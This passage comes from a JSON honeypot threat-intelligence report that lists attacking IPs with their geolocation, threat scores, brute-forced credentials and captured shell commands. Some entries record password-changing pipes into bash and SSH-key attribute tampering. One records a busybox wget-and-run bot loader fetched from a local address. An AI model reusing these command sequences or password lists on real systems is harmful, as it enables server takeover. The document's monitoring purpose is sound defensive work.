        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T07:04:30.908000+00:00",
        "last_seen_30d": "2026-03-11T07:58:02.765000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 62
      }
    },
    "134.199.173.32": {
      "attack_count": 133,
      "first_seen": "2026-03-02T00:08:29.744Z",
      "last_seen": "2026-03-02T00:36:35.474Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "passw0rd",
        "password",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456",
        "root1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:08:20.734000+00:00",
        "last_seen_30d": "2026-03-02T00:37:38.395000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 54
      }
    },
    "116.50.179.74": {
      "attack_count": 129,
      "first_seen": "2026-03-07T01:05:21.887Z",
      "last_seen": "2026-03-07T01:31:49.103Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "client1",
        "345gs5662d34",
        "almacen",
        "mitra",
        "mo",
        "nima",
        "passbolt",
        "ryan",
        "webserver",
        "zhuge"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2024",
        "@qwer2025",
        "Client1123!",
        "Mo123",
        "Zh123456@",
        "passbolt123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Client1123!\\nl8Q2c9qMizuX\\nl8Q2c9qMizuX\\n\"|passwd",
        "echo -e \"Client1123!\\nl8Q2c9qMizuX\\nl8Q2c9qMizuX\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 9658,
      "as_org": "Eastern Telecoms Phils., Inc.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T01:05:21.887000+00:00",
        "last_seen_30d": "2026-03-07T01:32:56.483000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 33
      }
    },
    "103.134.154.119": {
      "attack_count": 124,
      "first_seen": "2026-03-10T23:33:47.510Z",
      "last_seen": "2026-03-11T00:06:22.876Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "es",
        "root",
        "345gs5662d34",
        "alfred",
        "clawd",
        "innova",
        "java",
        "pedro",
        "super",
        "temp",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123!!",
        "Asdf@1234",
        "Java123!",
        "alfred",
        "elastic",
        "innova",
        "pedro1234",
        "ubuntu@2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"elastic\\nmchZTb5K0L3R\\nmchZTb5K0L3R\\n\"|passwd",
        "echo -e \"elastic\\nmchZTb5K0L3R\\nmchZTb5K0L3R\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:33:47.510000+00:00",
        "last_seen_30d": "2026-03-11T00:07:23.496000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 32
      }
    },
    "13.81.183.29": {
      "attack_count": 119,
      "first_seen": "2026-03-22T09:22:38.767Z",
      "last_seen": "2026-03-22T09:41:42.004Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sammy",
        "345gs5662d34",
        "carlos",
        "email",
        "ftpuser01",
        "juan",
        "myuser",
        "sm",
        "student5"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "ZAQ!xsw2",
        "carlos123",
        "email123!",
        "ftpuser01",
        "juanpass",
        "myuser123",
        "qawsedrf",
        "sammy123!",
        "smpass",
        "student5123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sammy123!\\no3hMDE0XbvbL\\no3hMDE0XbvbL\\n\"|passwd",
        "echo -e \"sammy123!\\no3hMDE0XbvbL\\no3hMDE0XbvbL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T09:22:38.767000+00:00",
        "last_seen_30d": "2026-03-22T09:42:44.313000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "45.144.233.56": {
      "attack_count": 119,
      "first_seen": "2026-03-05T15:28:45.585Z",
      "last_seen": "2026-03-05T15:51:58.569Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "test",
        "345gs5662d34",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A123123A",
        "A1234567090",
        "A1234567T",
        "A123456h^",
        "AA@2021",
        "Aa123Aa123",
        "Bb@123456",
        "Qq@123456",
        "Yy123456",
        "a12345678910"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Yy123456\\n1B10waNDCESo\\n1B10waNDCESo\\n\"|passwd",
        "echo -e \"Yy123456\\n1B10waNDCESo\\n1B10waNDCESo\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:28:45.585000+00:00",
        "last_seen_30d": "2026-03-05T15:53:04.577000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "64.188.83.153": {
      "attack_count": 119,
      "first_seen": "2026-03-20T11:26:34.991Z",
      "last_seen": "2026-03-20T11:43:04.843Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "paolo",
        "root",
        "345gs5662d34",
        "cc",
        "elasticsearch",
        "felix",
        "frappe",
        "recovery",
        "reolink",
        "tigergraph"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "1q2w3e4r5t6y7u",
        "3245gs5662d34",
        "345gs5662d34",
        "Tigergraph123",
        "Welcome@2024",
        "admin",
        "felixpass",
        "recovery123",
        "reolink123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nOXis6I7nFIxm\\nOXis6I7nFIxm\\n\"|passwd",
        "echo -e \"12345678\\nOXis6I7nFIxm\\nOXis6I7nFIxm\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 209693,
      "as_org": "Oc Networks Limited",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T11:26:34.991000+00:00",
        "last_seen_30d": "2026-03-20T11:44:06.332000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 27
      }
    },
    "64.226.83.129": {
      "attack_count": 115,
      "first_seen": "2026-03-15T11:22:29.639Z",
      "last_seen": "2026-03-15T11:39:38.097Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "P@ssword",
        "admin",
        "admin123",
        "letmein",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T11:22:29.639000+00:00",
        "last_seen_30d": "2026-03-15T11:40:42.873000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 115,
        "Suricata": 49
      }
    },
    "109.199.121.199": {
      "attack_count": 114,
      "first_seen": "2026-03-07T08:10:15.489Z",
      "last_seen": "2026-03-07T08:32:11.597Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "rtest",
        "345gs5662d34",
        "arthur",
        "ceo",
        "ec2-user",
        "external",
        "lekaren",
        "lh",
        "root",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345678",
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "@A123456",
        "Aa@12345",
        "Rtest123",
        "lekaren",
        "lh"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Rtest123\\noENVi7VJIkG6\\noENVi7VJIkG6\\n\"|passwd",
        "echo -e \"Rtest123\\noENVi7VJIkG6\\noENVi7VJIkG6\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T08:10:15.489000+00:00",
        "last_seen_30d": "2026-03-07T08:33:13.664000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 26
      }
    },
    "24.199.103.223": {
      "attack_count": 98,
      "first_seen": "2026-03-11T15:01:36.352Z",
      "last_seen": "2026-03-11T15:52:54.828Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "solv",
        "bootstrap",
        "firedancer",
        "node",
        "shred",
        "shreded",
        "sol",
        "ubuntu",
        "validator"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "shred",
        "1234",
        "123456",
        "Solana",
        "bootstrap",
        "firedancer",
        "node",
        "shreded",
        "sol",
        "solana",
        "solv",
        "ubuntu",
        "validator"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T15:00:22.699000+00:00",
        "last_seen_30d": "2026-03-11T15:53:58.855000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 49
      }
    },
    "195.18.14.118": {
      "attack_count": 50,
      "first_seen": "2026-03-06T01:08:29.305Z",
      "last_seen": "2026-03-06T01:14:10.040Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 196638,
      "as_org": "JSC Promtelecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T01:08:29.305000+00:00",
        "last_seen_30d": "2026-03-06T01:24:16.444000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "42.231.40.160": {
      "attack_count": 50,
      "first_seen": "2026-03-11T20:27:57.916Z",
      "last_seen": "2026-03-11T20:33:22.336Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T20:27:57.916000+00:00",
        "last_seen_30d": "2026-03-11T20:34:25.887000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "46.172.74.231": {
      "attack_count": 43,
      "first_seen": "2026-03-16T03:00:41.768Z",
      "last_seen": "2026-03-16T10:29:05.128Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "emo",
        "systems",
        "centos ",
        "pbxsystem"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "Itsemoemo2025@Fuck@allPBX",
        "vivo@01011",
        "pbx@01011"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kharkiv",
      "asn": 208531,
      "as_org": "HARNET LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T03:00:41.768000+00:00",
        "last_seen_30d": "2026-03-16T10:30:14.332000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 40
      }
    },
    "144.48.134.114": {
      "attack_count": 40,
      "first_seen": "2026-03-19T04:12:27.313Z",
      "last_seen": "2026-03-19T04:16:46.523Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T04:12:27.313000+00:00",
        "last_seen_30d": "2026-03-19T04:17:56.900000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "204.76.203.207": {
      "attack_count": 40,
      "first_seen": "2026-03-10T22:27:22.114Z",
      "last_seen": "2026-03-11T03:21:42.712Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "support",
        "debian",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "support",
        "temppwd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 276,
        "days_active_30d": 10,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T15:21:50+00:00",
        "last_seen_30d": "2026-03-11T03:22:48.300000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 186,
        "Honeytrap": 50,
        "Cowrie": 40
      }
    },
    "120.85.183.200": {
      "attack_count": 33,
      "first_seen": "2026-03-20T18:40:54.750Z",
      "last_seen": "2026-03-20T18:41:03.823Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "config terminal",
        "echo -ne \\x45\\x4c\\x46",
        "linuxshell",
        "shell",
        "start",
        "system",
        "./i",
        "/bin/busybox wget;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cp /bin/ls ii ; cat i > ii ; rm i ; cp ii i ; rm ii",
        "enable",
        "sh",
        "su",
        "wget",
        "wget http://192.168.1.1:8088/i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.command.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T18:40:54.750000+00:00",
        "last_seen_30d": "2026-03-20T18:42:08.958000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 3
      }
    },
    "103.83.148.53": {
      "attack_count": 30,
      "first_seen": "2026-03-17T05:34:05.575Z",
      "last_seen": "2026-03-17T05:42:26.091Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 135799,
      "as_org": "Rapidnet Private Limited",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T05:34:05.575000+00:00",
        "last_seen_30d": "2026-03-17T05:50:08.337000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 15
      }
    },
    "134.122.57.25": {
      "attack_count": 30,
      "first_seen": "2026-03-03T00:13:25.402Z",
      "last_seen": "2026-03-03T00:17:26.070Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
